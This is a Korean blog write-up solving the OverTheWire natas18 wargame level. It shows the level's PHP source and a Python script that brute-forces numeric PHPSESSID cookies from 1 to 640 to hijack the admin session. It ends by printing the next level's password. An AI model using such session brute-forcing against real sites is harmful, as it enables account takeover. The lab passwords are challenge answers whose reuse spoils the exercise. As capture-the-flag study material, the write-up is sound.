: level 17 → level 18

http://natas18.natas.labs.overthewire.org

위 사진은 natas18의 시작화면이다. 소스코드는 아래와 같다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

소스코드를 보면 $_SESSION['admin']값이 1이어야 natas19의 password를 알아낼 수 있다. 하지만 함수 로직 상 $_SESSION['admin']값을 1로 바꾸기 어렵다.

 

username과 password를 전송하면 createID 함수에서 1에서 640사이의 세션ID를 생성한다. 분명 admin에 해당하는 세션ID가 존재할 것이다. 따라서 admin이랑 일치하는 ID를 알아내고 이를 거짓 패킷으로 보내면 natas19의 password를 알아낼 수 있을 것이다.

 

자동화프로그램으로 admin의 ID값을 알아내자.

자동화프로그램은 다음과 같다.

import socket

for i in range(1, 641):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("176.9.9.172", 80)) 

    header = "GET /index.php HTTP/1.1\r\n"
    header += "Host:natas18.natas.labs.overthewire.org\r\n"
    header += "Authorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n"
    header += "Cookie:PHPSESSID=" + str(i) + "\r\n"
    header += "\r\n"

    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()

    print(i)
    if "You are an admin" in response:
        print(response)
        break
    sock.close()
print()

 

$maxid의 범위가 1부터 640이므로 i를 1부터 640까지 증가시켜가며 패킷을 보낸다.

 

실행결과는 다음과 같다.

i가 119일 때 response정보가 출력되었다. 따라서 admin의 ID는 119이다.

출력결과를 잘 보면 Username이 natas19일 때의 password가 출력된 것을 알 수 있다.

 

natas19 password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

 

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[LOS] vampire  (0) 2021.06.27
[natas] Level 18 -> Level 19  (0) 2021.06.27
[XSS Challenge] Stage #15  (0) 2021.06.27
[LOS] troll  (0) 2021.06.27
[natas] Level 16 -> Level 17  (0) 2021.06.27
복사했습니다!